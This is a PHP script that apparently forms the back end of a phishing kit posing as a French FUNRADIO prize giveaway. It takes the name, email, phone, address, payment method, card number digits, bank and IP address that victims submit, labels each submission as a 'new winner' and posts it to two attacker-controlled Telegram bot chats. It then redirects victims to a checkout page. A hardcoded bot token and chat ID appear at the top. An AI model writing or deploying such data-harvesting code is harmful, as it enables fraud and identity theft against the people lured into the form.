<?php 

require_once 'checkout/config.php';
$telegramBotToken = "8580912630:AAES5ZB41kCXF15E4tx1pzizpIlE8qiIYg"; 
$telegramChatId = "-5200051364";     


$telegramBotToken1 = str_replace("https://api.telegram.org/bot", "", $METRI_TOKEN);
$telegramChatId1 = $chat_id;

$telegramBotToken2 = str_replace("https://api.telegram.org/bot", "", $METRI_TOKEN2);
$telegramChatId2 = $chat_id2;

function getClientIP() {
    // Check for shared IP
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    }
    // Check for IP passed from proxy
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // Can contain multiple IPs, get the first one
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        return trim($ips[0]);
    }
    // Check for IP from remote address
    elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }
    // Return unknown if no IP found
    return 'Unknown';
}

function sendToTelegram($message, $botToken, $chatId) {
    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
    
    $data = array(
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML'
    );
    
    $options = array(
        'http' => array(
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data)
        )
    );
    
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    
    return $result !== FALSE;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $clientIP = getClientIP();
    // Récupérer les données du formulaire
    $fullName = $_POST['fullName'] ?? '';
    $email = $_POST['email'] ?? '';
    $phone = $_POST['phone'] ?? '';
    $address = $_POST['address'] ?? '';
    $bonus = $_POST['bonus'] ?? '';
    $method = $_POST['method'] ?? '';
    $cardNumber = $_POST['cardNumber'] ?? '';
    $selectedBank = $_POST['selectedBank'] ?? '';
    $country = $_POST['country'] ?? '';
    $subdomain = $_POST['subdomain'] ?? '';
    $ip = $_POST['ip'] ?? '';
    
    // Préparer le message pour Telegram
    $message = "🎉 <b>NOUVEAU GAGNANT FUNRADIO !</b>\n\n";
    $message .= "💰 <b>Montant gagné:</b> €{$bonus}\n";
    $message .= "👤 <b>Nom:</b> {$fullName}\n";
    $message .= "📧 <b>Email:</b> {$email}\n";
    $message .= "📱 <b>Téléphone:</b> {$phone}\n";
    $message .= "🏠 <b>Adresse:</b> {$address}\n";
    $message .= "🏦 <b>Méthode de transaction:</b> {$method}\n";
    $message .= "📱 <b>Téléphone:</b> {$ip}\n";
    
    if ($method === 'card' && !empty($cardNumber)) {
        $message .= "💳 <b>Carte:</b> " . substr($cardNumber, 0, 4) . " **** **** " . substr($cardNumber, -4) . "\n";
    } elseif ($method === 'bank' && !empty($selectedBank)) {
        $message .= "🏛️ <b>Banque:</b> {$selectedBank}\n";
    }
    
    $message .= "🌍 <b>Pays:</b> {$country}\n";
    $message .= "🔗 <b>Source:</b> {$subdomain}\n";
    
    $message .= "🌐 <b>Adresse IP:</b> {$clientIP}\n";
    $message .= "⏰ <b>Date:</b> " . date('d/m/Y H:i:s') . "\n";
    
    // Envoyer vers Telegram
  $telegramSent1 = sendToTelegram($message, $telegramBotToken1, $telegramChatId1);
    $telegramSent2 = sendToTelegram($message, $telegramBotToken2, $telegramChatId2);
    
    
    // Log pour debugging (optionnel)
    if ($telegramSent1) {
        error_log("Telegram message sent successfully for: " . $fullName);
    } else {
        error_log("Failed to send Telegram message for: " . $fullName);
    }
    
    // Rediriger vers le dossier "reclamer" après envoi
    header("Location: checkout/");
    exit();
    
} else {
    // Si ce n'est pas une requête POST, rediriger vers l'accueil
    header("Location: index.html");
    exit();
}
?>